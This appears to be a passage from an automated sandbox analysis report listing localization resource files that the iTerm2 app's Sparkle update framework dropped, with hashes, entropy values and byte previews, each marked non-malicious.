Size (bytes):	23466
Entropy (8bit):	6.8772907018695175
Encrypted:	false
SSDEEP:	384:63gvzFJ3E0UeEYNg7W+EO7rKvL7JtnT3+xNkqTpXCbXH3Eq71pTmCVC:6g7FAeEYyn7rKvL7JxTuTN2kYJC
MD5:	CB9F527411A2CB5D290BCA03A94523F2
SHA1:	2315A77ED7F9FA8C00524C40CF60634071BAEC61
SHA-256:	A19A9C787CCB6E849D3227BF773AC3C777E4C28AE87DCE8D3C5571B6B28AC58B
SHA-512:	F87EA821FD4C572C3A937060E44DB8A40E940C59FFE4066114EB57FB79608787152015881E6AF77A2F3CCCE1DEFB9B673998F6D9813DA9926C25AD067033CDA2
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.............%.)..0.4.8.O.Y.......................................................#.$.%./.9.:.;.C.K.L.P.S.X.Y.^.a.d.e.k...........................................................................7.;.F.J.b.u.v.w.x.y.z.{.\|.}.~.......................................r........................................................... .%.&.)..0.1.7.J.M.N.O.P.W.X.Y._......................................................................... .).-...K.Q.W.\.a.g.l.q.w.\|...............................................................................!.".#.$.*.+.,...5.6.7.?.@.A.G.O.P.Q.W._.`.a.g.n.o.p.w.x.y.........s.......w...6.................\|................................................................................................................................................... .!.".#.$.%.(.+U$null.................................... ...".#.$VNSRoot]NSConnections\

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ar.lproj/SUUpdatePermissionPrompt.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	20120
Entropy (8bit):	6.807346481015923
Encrypted:	false
SSDEEP:	384:4pg/vSLE0neEYNg7+MUVjx1tleRhHCvvfOelpL+KiDYnbVedjkFb:0gCZeEYyaV1tURhivOelpOAYdUb
MD5:	BD3422BD85AD4DBDD4B3D59AF0AD39DF
SHA1:	1ECD38607A1EB85518121CC65B74553D890911C4
SHA-256:	3AFABEEE396FCF4903D9455BECE7041C388E867769BD0086A6B7C1493F973059
SHA-512:	5044035DE2879AA7C310145828FA50B38595941567D433AF1D29FE56BABC52BF903DD2C7548BFA0424A9AE88BC562E7E93FB09D8FA01563243478D004F934ACF
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.......%.....%.)..0.4.8.M.W............................................................... ..+.,.5.=.>.B.E.J.K.P.S.V.W.].o.r.s.t.~.................................$.,./.4.5.8.A.B.G.H.M.P.W.].`.g.l.m.r.s...x.{.\|...........................................................".2.3.:.;.>.?.N.O.[.\.`.a.d.z.}...............................................................................................................#.$.%.&.-.../.6.7.8.@.A.B.J.K...x.M.U.V.W.].d.e.f.m.n.o.p.......................2.u.2.'...3.4.5.6.7.8.9.:.;.<.=.>.?.@.A.B.C.D.E.F.G.H.I.J.K.L.M.N.O.P.Q.R.S.T.U.V.W.X.Y.Z.[.\.].^.a.dU$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys............#....#.."..$....&...'.([N

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ar.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	8452
Entropy (8bit):	4.030959791384656
Encrypted:	false
SSDEEP:	96:M4PBuI3K3uQUiPRUxosv0tbnTvP5gzo/mgpnJ+ELloNmemvMMk/0/DZkstLM2hF:M43K3uQUmU6oOCMuYnJ+zTmvkIKK427
MD5:	E52432741A6B418E88EE819269969EFC
SHA1:	DFF66B819777A0EFC89DB477541601499DCAB03B
SHA-256:	91797540E50A5356E7DFCCD91534D3A3A8D2BC96B7C735BEE74E811C5A974EB0
SHA-512:	DF32AE6859C901E3CF508CC3CD337C890282EADEBFDBE97DE0F1F70EE49ABC0ECE977AC093DF2178E2141C2E4711168131A2BA8B72253BD4B8258335BCD99631
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. ."..E. ..F.2.J.D. .%.1.$.@. .%.2.$.@. .H.G.H. .,.'.G.2. .D.D.'.3..../.'.E... .G.D. ..1.:.(. .(..+.(.J.. .'.D..-./.J.+. .H.%.9.'./.). ..4.:.J.D. .%.1.$.@. .'.D.".F...".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e.,. .a.n.d. .t.r.y. .a.g.a.i.n...". .=. .".D.'. .J.E.C.F. ..-./.J.+. .%.1.$.@. .%.0.'. .4.O.:.Q.D. .E.F. .H.-./.). ....2.J.F. .D.D.B.1.'.!.). .A.B.7. .C.5.H.1.). .B.1.5. .#.H. .B.'.1.&. .'.D.#.B.1.'.5. .'.D.6.H.&.J.)... .'.F.B.D. .%.1.$.@. .%.D.I. .E.,.D./. .'.D..7.(.J.B.'.. .

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/ca.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	6672
Entropy (8bit):	3.4075459663441494
Encrypted:	false
SSDEEP:	96:JRwWDa+b5K3e3yQUi/RUxosxHySmUFYAgIme+/b75+/ZA15+/9w2j3z5+e8wMabZ:rZK3e3yQUKU6YTFYJ2R3j84kNgb
MD5:	98F6EECB149DB8D1AE02B35773738F23
SHA1:	F31679F53FCB67154C39636C19B972495B228EFB
SHA-256:	AAF79ACF526F474B7144122B5C448DB30ECE43F15FFDC3F38432E7B28110ADA5
SHA-512:	59FE79C98413E167E8EFA017D33768F462065308B5235EEACCFD85024DAB7EB80A43C7A08C71AC178739246F2BA86B01D39F5AF1427E2BB95A687F591BB11717
Malicious:	false
Reputation:	low
Preview:	..".%.@. .o.f. .%.@.". .=. .".%.1.$.@. .d.e. .%.2.$.@.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d. .w.h.e.n. .i.t.'.s. .r.u.n.n.i.n.g. .f.r.o.m. .a. .d.i.s.k. .i.m.a.g.e... .M.o.v.e. .%.1.$.@. .t.o. .y.o.u.r. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t.,. .a.n.d. .t.r.y. .a.g.a.i.n...". .=. .".%.1.$.@. .n.o. .e.s. .p.o.t. .a.c.t.u.a.l.i.t.z.a.r. .q.u.a.n. .f.u.n.c.i.o.n.a. .d.e.s. .d.'.u.n. .d.i.s.c. .d.'.i.m.a.t.g.e... .M.o.v.e.u. .%.1.$.@. .a.l. .v.o.s.t.r.e. .d.i.r.e.c.t.o.r.i. .A.p.l.i.c.a.c.i.o.n.s.,. .r.e.i.n.i.c.i.e.u.-.l.o.,. .i. .t.o.r.n.e.u. .a. .p.r.o.v.a.r.-.h.o...".;.....".%.@. .%.@. .h.a.s. .b.e.e.n. .i.n.s.t.a.l.l.e.d. .a.n.d. .w.i.l.l. .b.e. .r.e.a.d.y. .t.o. .u.s.e. .n.e.x.t. .t.i.m.e. .%.@. .s.t.a.r.t.s.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .r.e.l.a.u.n.c.h. .n.o.w.?.". .=. .".%.@. .%.@. .h.a. .e.s.t.a.t. .i.n.s.t.a.l...l.a.t. .i. .e.s.t.a.r... .l.l.e.s.t. .p.e.r. .a. .s.e.r. .u.t.i.l.i.t.z.a.t. .l.a. .p.r.o.p.e.r.a. .v.e.g.a.d.a. .q.u.e.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/cs.lproj/SUAutomaticUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	13572
Entropy (8bit):	6.700633242073036
Encrypted:	false
SSDEEP:	192:U1WzBQAFcBGfxOeYjqE0lCjeEYNMtKwqJ36lh26+9fWMT5IRnionG:UgzJcBseqE0EeEYNg7qJ36lhE975UnLG
MD5:	347BA0F098E7446ED08DFB276E6AD541
SHA1:	4C616682CEB5711B506DDD6DC228D4D078676669
SHA-256:	444AFC8E45D14BA2D7C2B6B6746C66097A34EA7D2969C2D946879EC284B83205
SHA-512:	C37AB4F7685B21CBEE4A8CCEDE3FE0F434606CD44413E2F35B37862910BE60C2956FF7B85BE1508A68E83568293550E7048880FF5E542B7D5FFA70A4AAA1418E
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.)..0.4.8.F.P.{...................................................................=.>.?.@.J.a.d.p.q.r.s.t.u.v.w.x.y.z...................................................................&.'.3.4.8.9.<.=.?.@.A.B.C.D.G.H.M.N.R.W.X.].^.h.l.p.q.r.s.w.~...............................8...n........................................................."U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..SUAutomaticUpdateAlert..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.E..:.;.<.=.>.?.@.A.B.C.D....."..n.q.s.u.\|..........G.H.I.J.K...M.N.OXNSSource]NSD

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/cs.lproj/SUUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	23188
Entropy (8bit):	6.864007379598208
Encrypted:	false
SSDEEP:	384:bRgbiTn3E0UeEYNg7W+EoPUzpv2YJtg+Qd5tQHNKwNvd7FIDgJ:1g+T6eEYytPUzpv2YJzQGNNvlqMJ
MD5:	00237529E464051050562B4452860479
SHA1:	973571F5BC5EFEE1D905EBE6B9CB66FD5EC28365
SHA-256:	C726CA227DAFD1F514836AF65C99F4A690A8EE655C1E34E278EC2876B55886FE
SHA-512:	B028A1DB4F89EC60E04E212A4037BFF3A545387E0C1CE8C5A8CB548F2488D449543F2D550078D486C5A3D08A19784A048FC89BFE400020D129552AFC0307E8B5
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.............%.)..0.4.8.O.Y.......................................................#.$.%./.9.:.;.C.K.L.P.S.X.Y.^.a.d.e.k...........................................................................7.;.F.J.b.u.v.w.x.y.z.{.\|.}.~...............................................................................................".5.8.9.:.;.B.C.D.J.q.r.s.t.u.v.w...................................................................6.<.B.G.L.R.W.\.b.g.l.q.v.\|....................................................................................... .!."..+.,.2.:.;.<.B.J.K.L.R.Y.Z.[.b.c.d.........^.......w...6.................g..................................................................................................................................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSO

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/cs.lproj/SUUpdatePermissionPrompt.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	20214
Entropy (8bit):	6.759022974543851
Encrypted:	false
SSDEEP:	384:IAgjvxE0DeEYNg74d+0VutleshI8tEnd9xlobM78XjPpFWreOxMd2:JgHeEYyMVutUshI3n9lofP7fT2
MD5:	3CB89967B7F9FD08F93E7614A7DE94EC
SHA1:	6D40B1F3EBF2C499C83838DD47AF19C20EF6478E
SHA-256:	A5065BC5755E0D2F7D2212BBF52D9B6C9095B4866414EFF72C19B08B9B0820A2
SHA-512:	E898D0222ABD96680BD9380E7540092423C87C8918821566D05BA4435D4A659D9D84D114DF6BF8EB5E07E9552CA7CE4F35868A455B2A79B04B372ECE3E40338C
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.......#.....%.)..0.4.8.M.W...............................................................)..+.4.<.=.A.D.I.J.O.R.U.V.\.n.q.r.s.}.~...............................'../.0.3.<.=.B.C.H.K.R.X.[.b.g.h.m.n...s.v.w.z...........................................................,.-.4.5.9.:.I.J.V.W.[.\._.u.x................................................................................................................... .!.(.)..1.2.3.;.<.=.E.F...x.H.P.Q.R.X._.`.a.h.i.j.k.......................1.u.-.&...../.0.1.2.3.4.5.6.7.8.9.:.;.<.=.>.?.@.A.B.C.D.E.F.G.H.I.J.K.L.M.N.O.P.Q.R.S.T.U.V.W.X.Y.\._U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys............!....!.. .."....&...'.([NSCla

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/cs.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	10606
Entropy (8bit):	3.5483976043759076
Encrypted:	false
SSDEEP:	192:MO5wxX3g33QUD2Ul+LnnclYU+421JBkcdWs:s/vzclYUI1JBkYWs
MD5:	94AB5280B1669689138FCAB0EEC7900F
SHA1:	E8913DC6386D6073C3CF35D747C328B1A89BFEAE
SHA-256:	F9E80E1009BBC0AB19118A563CCC88B773BF2B7ACABAC2E8AA044F0E34DB563D
SHA-512:	7523BA299482A635D3C316C39BDBF0568A148D56701A8F4887F73A8247F608EAF000CFA82B93B83BA295FE96B901154E8023EF9043930CEDD5816DB8DDB42D47
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .T.h.i.s. .i.s. .a.n. .i.m.p.o.r.t.a.n.t. .u.p.d.a.t.e.;. .w.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".A.p.l.i.k.a.c.e. .%.1.$.@. .%.2.$.@. .b.y.l.a. .s.t.a.~.e.n.a. .a...j.e. .p.Y.i.p.r.a.v.e.n.a. .k...p.o.u.~.i.t... .p.o. .p.Y...a.t...m. .s.p.u.a.t...n...!. .T.o.t.o. .j.e. .d.o.l.e.~.i.t... .a.k.t.u.a.l.i.z.a.c.e.;. .p.Y.e.j.e.t.e. .s.i. .a.p.l.i.k.a.c.i. .%.1.$.@. .n.y.n... .n.a.i.n.s.t.a.l.o.v.a.t. .a...z.n.o.v.u. .s.p.u.s.t.i.t.?.".;.....".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".A.p.l.i.k.a.c.e. .%.1.$.@. .%.2.$.@. .b.y.l.a. .s.t.a.~.e.a.n. .a...j.e. .p.Y.i.p.r.a.v.e.n.a. .k...p.o.u.~.i.t... .p.o. .p.Y...a.t...m. .s.p.u.a.t...n...!. .P.Y.e.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/da.lproj/SUAutomaticUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	13481
Entropy (8bit):	6.71545527748198
Encrypted:	false
SSDEEP:	192:U1WzBQAFnGiOOeYjqE0lCjeEYNMtKwqJ36lx/6T9rWCXVS:UgzJn6eqE0EeEYNg7qJ36lxI91VS
MD5:	B06680E2FD0D0CD862A36E1C3ABC075D
SHA1:	E2DD7B2D7F53055E676545A59D020CD656C8B4BB
SHA-256:	F7EB11BD4792DA84BCF0004B87AD186BC035693F7975C2DB4F08BEA42419B96B
SHA-512:	386DFD6427082FF71B1D7CAD9BBCCFBF820DD105BE7B0815EB5D57AEA4258B580D619A7151A638697D13EEE790899BC87F3198CFED323A8229A770C73E169FE9
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.)..0.4.8.F.P.{...................................................................=.>.?.@.J.a.d.p.q.r.s.t.u.v.w.x.y.z...................................................................&.'.3.4.8.9.<.=.?.@.A.B.C.D.G.H.M.N.R.W.X.].^.h.l.p.q.r.s.w.~...............................8...n........................................................."U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..SUAutomaticUpdateAlert..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.E..:.;.<.=.>.?.@.A.B.C.D....."..n.q.s.u.\|..........G.H.I.J.K...M.N.OXNSSource]NSD

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/da.lproj/SUUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	23067
Entropy (8bit):	6.8766074439057325
Encrypted:	false
SSDEEP:	384:bRgbiTC3E0UeEYNg7W+EH+J2v2YJtgNv5tQHNKw9L5W4y8BY0vl:1g+TbeEYyk+J2v2YJQUN9LL/N
MD5:	C7E79644B0DDCFC06A138E05EBA20A96
SHA1:	150080F1F232AB81BE720A5B7012280B28EAD538
SHA-256:	07CE5AE6C18DEECDCAEB05A37E4D4042887EA9CA406D2873B076085BA981C98B
SHA-512:	AA18E45B16D24EB705FD8D8DE6532FCF42C43234067D74E05AD11EF1D2AA79C360BAE87E4D6C46043C0C26E02A45C1EBBD33BC6E6CD7CE205122CE14A319EBB3
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.............%.)..0.4.8.O.Y.......................................................#.$.%./.9.:.;.C.K.L.P.S.X.Y.^.a.d.e.k...........................................................................7.;.F.J.b.u.v.w.x.y.z.{.\|.}.~...............................................................................................".5.8.9.:.;.B.C.D.J.q.r.s.t.u.v.w...................................................................6.<.B.G.L.R.W.\.b.g.l.q.v.\|....................................................................................... .!."..+.,.2.:.;.<.B.J.K.L.R.Y.Z.[.b.c.d.........^.......w...6.................g..................................................................................................................................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSO

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/da.lproj/SUUpdatePermissionPrompt.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	20003
Entropy (8bit):	6.800044973873062
Encrypted:	false
SSDEEP:	384:IAgjvVE0DeEYNg74d+0VutleshI8tE2axlobM78XuShZdXI6co:JgTeEYyMVutUshI32SloSSXT
MD5:	BB181EDF72CB880CA251B9F2C6F14500
SHA1:	5C82DF7ABBBA442DBE07F6D8F00E9D35FDD7B8F3
SHA-256:	3289FA152D6E74F9226821E9B072114E32D629F5982C750FC0F83261C9D71E8A
SHA-512:	386B5A11F8E35B68112298D55C0B2007F549821CBAC9E80C2F90E339611BAB11481170DBAE511E0073F377BC30351B6FB822EE9E8E9DD72599C3F10C396467E4
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.......#.....%.)..0.4.8.M.W...............................................................)..+.4.<.=.A.D.I.J.O.R.U.V.\.n.q.r.s.}.~...............................'../.0.3.<.=.B.C.H.K.R.X.[.b.g.h.m.n...s.v.w.z...........................................................,.-.4.5.9.:.I.J.V.W.[.\._.u.x................................................................................................................... .!.(.)..1.2.3.;.<.=.E.F...x.H.P.Q.R.X._.`.a.h.i.j.k.......................1.u.-.&...../.0.1.2.3.4.5.6.7.8.9.:.;.<.=.>.?.@.A.B.C.D.E.F.G.H.I.J.K.L.M.N.O.P.Q.R.S.T.U.V.W.X.Y.\._U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys............!....!.. .."....&...'.([NSCla

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/da.lproj/Sparkle.strings Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Little-endian UTF-16 Unicode English text, with very long lines
Category:	dropped
Size (bytes):	8342
Entropy (8bit):	3.4062078535569755
Encrypted:	false
SSDEEP:	96:M4CIzBuxUiXV353YQUiyOlRUxosCyQ/KAywdCPTKynPYl7/muBwj27VnWwCXG652:MSiF353YQUcU6VPyAnPcWgJBkqeU42E
MD5:	1A3620DEC4D18C0AA6C26A2C0E3D86C3
SHA1:	3A30785DAF723C0472F898B6B5D9F76FE01CD05A
SHA-256:	4CD9D561533F147ED1453E4C2438AE74786588A87055DCCAB68147A1A3B260D0
SHA-512:	E6CBD44F63448A3B030B8C6D340F027C4A0692CDBC1E1AED845480E605D6000F95073A5E47176EF58318A43C9AE8D14D714A76FB73D4D9DD017B80F05019AA7E
Malicious:	false
Reputation:	low
Preview:	..".%.1.$.@. .%.2.$.@. .h.a.s. .b.e.e.n. .d.o.w.n.l.o.a.d.e.d. .a.n.d. .i.s. .r.e.a.d.y. .t.o. .u.s.e.!. .W.o.u.l.d. .y.o.u. .l.i.k.e. .t.o. .i.n.s.t.a.l.l. .i.t. .a.n.d. .r.e.l.a.u.n.c.h. .%.1.$.@. .n.o.w.?.". .=. .".%.1.$.@. .%.2.$.@. .e.r. .h.e.n.t.e.t. .o.g. .k.l.a.r. .t.i.l. .b.r.u.g.!. .V.i.l. .d.u. .i.n.s.t.a.l.l.e.r.e. .o.g. .g.e.n.s.t.a.r.t.e. .%.1.$.@. .n.u.?.".;.....".%.1.$.@. .c.a.n.'.t. .b.e. .u.p.d.a.t.e.d.,. .b.e.c.a.u.s.e. .i.t. .w.a.s. .o.p.e.n.e.d. .f.r.o.m. .a. .r.e.a.d.-.o.n.l.y. .o.r. .a. .t.e.m.p.o.r.a.r.y. .l.o.c.a.t.i.o.n... .U.s.e. .F.i.n.d.e.r. .t.o. .c.o.p.y. .%.1.$.@. .t.o. .t.h.e. .A.p.p.l.i.c.a.t.i.o.n.s. .f.o.l.d.e.r.,. .r.e.l.a.u.n.c.h. .i.t. .f.r.o.m. .t.h.e.r.e.,. .a.n.d. .t.r.y. .a.g.a.i.n...". .=. .".%.1.$.@. .k.a.n. .i.k.k.e. .o.p.d.a.t.e.r.e.s. .n...r. .d.e.t. .k...r.e.s. .f.r.a. .e.n. .k.u.n. .l...s.b.a.r. .e.n.h.e.d... .F.l.y.t. .%.1.$.@. .t.i.l. .m.a.p.p.e.n. .P.r.o.g.r.a.m.m.e.r.,. .g.e.n.s.t.a.r.t. .d.e.r.f.r.a. .o.g. .p.r...v. .i.g.e.n...".;.

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/de.lproj/SUAutomaticUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	13500
Entropy (8bit):	6.7189096927554885
Encrypted:	false
SSDEEP:	192:U1WzBQAFBGYZsOeYjGE0lCjeEYNMtKwqJ36ZEe26+9fWYpzsu34p:UgzJBHseGE0EeEYNg7qJ36ZEeE91zske
MD5:	00F2785027A8AE50AAC99BF50AF197DF
SHA1:	58ED75BA0479674DD6C1279C4A44958A93FA67E0
SHA-256:	6C7FA51160F078A84DECAADCBF51FA0B30BE8C3792FE8B832CF802E815A57D26
SHA-512:	8C17FA6E5B97A3ED157BA180F3743C0EB318CFF22A76BC4309BAAA796CBA5CA8FC2502B51BA92AEB9B38A1CF1166DE9E0865C3F36BF7EDA6882D42F4EEA3C3EC
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata............%.)..0.4.8.F.P.{...................................................................=.>.?.@.J.a.d.p.q.r.s.t.u.v.w.x.y.z...................................................................&.'.3.4.8.9.<.=.?.@.A.B.C.D.G.H.M.N.R.W.X.].^.h.l.p.q.r.s.w.~...............................8...n........................................................."U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSObjectsValues]NSObjectsKeys_..NSAccessibilityOidsValues_..NSVisibleWindows_..NSAccessibilityOidsKeys_..NSAccessibilityConnectorsV$classZNSOidsKeys........................&...'.([NSClassName...._..SUAutomaticUpdateAlert..+.,.-..Z$classnameX$classes^NSCustomObject..-./XNSObject..1...2.3ZNS.objects.....+.,.5.6\NSMutableSet..5.7./UNSSet..1...9.E..:.;.<.=.>.?.@.A.B.C.D....."..n.q.s.u.\|..........G.H.I.J.K...M.N.OXNSSource]NSD

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/de.lproj/SUUpdateAlert.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	23104
Entropy (8bit):	6.8729895530784315
Encrypted:	false
SSDEEP:	384:bRgbiTb3E0UeEYNg7W+EqlAzQv2YJtgi95tQHNKw9O/3760tut:1g+TOeEYyDlAzQv2YJ7mN9I37put
MD5:	4A4CD953CA93E9FDD1A5F36234532AE8
SHA1:	4AF5E62EE8418CBCFD1AADCA3DECFECDBCFB270A
SHA-256:	BD6B5DF9EF0627F534A02B880DE625B315AAA40BEC7D7C14EAC9F93E82F464BE
SHA-512:	AF73367B14C480E52FF81624340CA5390221A3352DF357205A2693FBDAA26E9A2AC6231B7B3DBD397FF41F9347D2712BD9C00C50AA141AA829A6D3940796C620
Malicious:	false
Reputation:	low
Preview:	bplist00.................X$versionY$archiverT$topX$objects....._..NSKeyedArchiver........._..IB.systemFontUpdateVersion]IB.objectdata.............%.)..0.4.8.O.Y.......................................................#.$.%./.9.:.;.C.K.L.P.S.X.Y.^.a.d.e.k...........................................................................7.;.F.J.b.u.v.w.x.y.z.{.\|.}.~...............................................................................................".5.8.9.:.;.B.C.D.J.q.r.s.t.u.v.w...................................................................6.<.B.G.L.R.W.\.b.g.l.q.v.\|....................................................................................... .!."..+.,.2.:.;.<.B.J.K.L.R.Y.Z.[.b.c.d.........^.......w...6.................g..................................................................................................................................................................U$null.................................... ...".#.$VNSRoot]NSConnections\NSOidsValues_..NSO

/Applications/iTerm.app/Contents/Frameworks/Sparkle.framework/Versions/A/Resources/de.lproj/SUUpdatePermissionPrompt.nib Download File
Process:	/Volumes/iTerm/iTerm.app/Contents/MacOS/iTerm2
File Type:	Apple binary property list
Category:	dropped
Size (bytes):	20156
Entropy (8bit):	6.76275733668275
Encrypted:	false
SSDEEP:	384:IAgjviE0DeEYNg74d+0VutleshI8tEoRxlobM78XpT7SwK9HFmF:JgQeEYyMVutUshI3oPlo9T7/K9HFmF
MD5:	72D0579DAB1E0876C14F6287FC2D04B9
SHA1:	7393FC1A827D4A2561157290ED87EFDF333F1BEA
SHA-256:	24E04A14D8078D8AD8876296406754AB20D1F384B6480B6027B5DC4E59B21CAF
SHA-512:	B0942EAACD873BCAE239256E95E365A66F436AD8A2C60F1789B1628F62716B9601EE57CD62A03985D042740CF52BC437072AB97C5BBA8CE40339252E58FD8F9F
Malicious:	false
Reputation:	low
